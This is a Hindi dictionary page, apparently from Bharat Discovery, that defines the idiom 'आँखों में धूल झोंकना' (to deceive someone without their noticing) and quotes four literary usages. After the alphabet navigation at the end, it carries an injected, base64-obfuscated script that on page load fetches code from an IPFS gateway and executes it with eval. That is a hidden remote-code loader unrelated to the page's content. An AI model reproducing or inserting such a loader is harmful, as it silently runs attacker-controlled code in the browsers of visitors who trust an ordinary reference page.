आँखों में धूल झोंकना

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

आँखों में धूल झोंकना एक प्रचलित लोकोक्ति अथवा हिन्दी मुहावरा है।

अर्थ- इस प्रकार किसी को भ्रमित करना कि उसे भ्रमित होने वाले को सहसा पता न चले।

प्रयोग-

  1. शासन और समाज की आँखों में धूल झोंकने की प्रवीणता लोगों ने पहले ही प्राप्त कर ली थी। - (अखंड ज्योति)
  2. देखिए आप सारी दुनिया को धोखा सदे सकते है पंरतु एक अनुभवी डाक्टर की आँखों में धूल नही झोंक सकते।- (कन्हैयालाल कपूर)
  3. समझ बैठी हो कि पर्दे के पीछे नाटक खेल लिया, तो सबकी आँखों में धूल झोंक ली। - (अजित पुष्कल)
  4. तुम एक पाकिटमार लड़की हो आज तक तुम मेरी आँखों में धूल झोंकती रही हो। - (गुलशन नंदा)


टीका टिप्पणी और संदर्भ

संबंधित लेख

कहावत लोकोक्ति मुहावरे वर्णमाला क्रमानुसार खोजें

                              अं                                                                                              क्ष    त्र    श्र

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>